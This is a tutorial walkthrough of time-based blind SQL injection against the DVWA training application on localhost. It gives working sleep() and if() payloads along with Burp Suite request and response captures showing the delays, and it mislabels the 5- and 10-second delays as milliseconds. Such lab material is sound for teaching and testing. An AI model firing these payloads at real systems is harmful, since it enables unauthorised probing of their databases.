

Time Based SQL Injection

Time based SQLI in which attackers insert SQL query causing database pause for a specified amount of time and then returning the results(just delaying the output). This is helpful when the attacker does not have any kind of answer (error/output) from the application because the input validation has been sanitized.

Comments :

- ☐ - -[Spacebar]
- ☐ - - +
- ☐ #
- ☐ - -
- ☐ - - %22

Let us take an example to exploit Time based SQL Injection using : DVWA Application

1. Using Sleep (Time) :

using [+and+sleep(5)]

Following is the query to exploit Time based SQLI. Its basic function is to Sleep for supplied seconds. Here we keep it for 5 seconds. The response is shown in the figure. As the output is delayed for 5 ms.

Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Logger Extender

Project options User options Learn

1 x 2 x 3 x 4 x 5 x 6 x 7 x 8 x 9 x +

Send Cancel < >

Target: http://localhost HTTP/1

Request

Pretty Raw Hex

```
8 Upgrade-Insecure-Requests: 1
9 Origin: http://localhost
10 Content-Type: application/x-www-form-urlencoded
11 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
    AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62
    Safari/537.36
12 Accept:
    text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,i
    mage/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=
    0.9
13 Sec-Fetch-Site: same-origin
14 Sec-Fetch-Mode: navigate
15 Sec-Fetch-User: ?1
16 Sec-Fetch-Dest: document
17 Referer: http://localhost/DVWA/vulnerabilities/sqli_blind/
18 Accept-Encoding: gzip, deflate
19 Accept-Language: en-US,en;q=0.9
20 Cookie: PHPSESSID=lma86kqcqvbs9qhsibilva4jp; security=medium
21 Connection: close
22
23 id=1+and+sleep(5) &Submit=Submit
```

0 matches

Response

Pretty Raw Hex Render

```
1 HTTP/1.1 200 OK
2 Date: Wed, 19 Oct 2022 12:37:04 GMT
3 Server: Apache/2.4.54 (Win64) OpenSSL/1.1.1p PHP/8.1.10
4 X-Powered-By: PHP/8.1.10
5 Expires: Tue, 23 Jun 2009 12:00:00 GMT
6 Cache-Control: no-cache, must-revalidate
7 Pragma: no-cache
8 Content-Length: 4299
9 Connection: close
10 Content-Type: text/html; charset=utf-8
11
12 <!DOCTYPE html>
13
14 <html lang="en-GB">
15
16 <head>
17 <meta http-equiv="Content-Type" content="text/html;
    charset=UTF-8" />
18
19 <title>
    Vulnerability: SQL Injection (Blind) :: Damn Vulnerable Web
```

0 matches

Done

4,618 bytes | 5,011 millis

2. Using IF(condition,when_true, When_false) :

- Using [+and+if(1=1,sleep(10),null)]

Sleep the response for 10 seconds output is too delayed for 10ms. It's true.

The screenshot shows the Burp Suite Repeater interface. The target is set to `http://localhost`. The request is an HTTP GET with various headers, including a cookie `PHPSESSID=1ma86rcqcsvbs9qhsibilva4jp` and a security level of `medium`. The payload is `id=1+and+if(1=1,sleep(10),null) &Submit=Submit`, which is highlighted with a red box. The response is an HTTP 200 OK from Apache/2.4.54, with a content type of `text/html; charset=utf-8`. The response body shows the start of an HTML document with a title `Vulnerability: SQL Injection (Blind) :: Damn Vulnerable Web`. The status bar at the bottom right, also highlighted with a red box, shows `4,618 bytes | 10,056 millis`, indicating a 10-second delay.

Request

```

8 Upgrade-Insecure-Requests: 1
9 Origin: http://localhost
10 Content-Type: application/x-www-form-urlencoded
11 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
    AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62
    Safari/537.36
12 Accept:
    text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,i
    mage/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=
    0.9
13 Sec-Fetch-Site: same-origin
14 Sec-Fetch-Mode: navigate
15 Sec-Fetch-User: ?1
16 Sec-Fetch-Dest: document
17 Referer: http://localhost/DVWA/vulnerabilities/sqli_blind/
18 Accept-Encoding: gzip, deflate
19 Accept-Language: en-US,en;q=0.9
20 Cookie: PHPSESSID=1ma86rcqcsvbs9qhsibilva4jp; security=medium
21 Connection: close
22
23 id=1+and+if(1=1,sleep(10),null) &Submit=Submit
  
```

Response

```

1 HTTP/1.1 200 OK
2 Date: Wed, 19 Oct 2022 12:44:46 GMT
3 Server: Apache/2.4.54 (Win64) OpenSSL/1.1.1p PHP/8.1.10
4 X-Powered-By: PHP/8.1.10
5 Expires: Tue, 23 Jun 2009 12:00:00 GMT
6 Cache-Control: no-cache, must-revalidate
7 Pragma: no-cache
8 Content-Length: 4299
9 Connection: close
10 Content-Type: text/html; charset=utf-8
11
12 <!DOCTYPE html>
13
14 <html lang="en-GB">
15
16 <head>
17   <meta http-equiv="Content-Type" content="text/html;
18   charset=UTF-8" />
19   <title>
    Vulnerability: SQL Injection (Blind) :: Damn Vulnerable Web
  
```

Done

4,618 bytes | 10,056 millis

- using `[+and+if(1=2,sleep(10),null)]`

Sleep the response for 10 seconds output is too delayed for 35ms. It's false.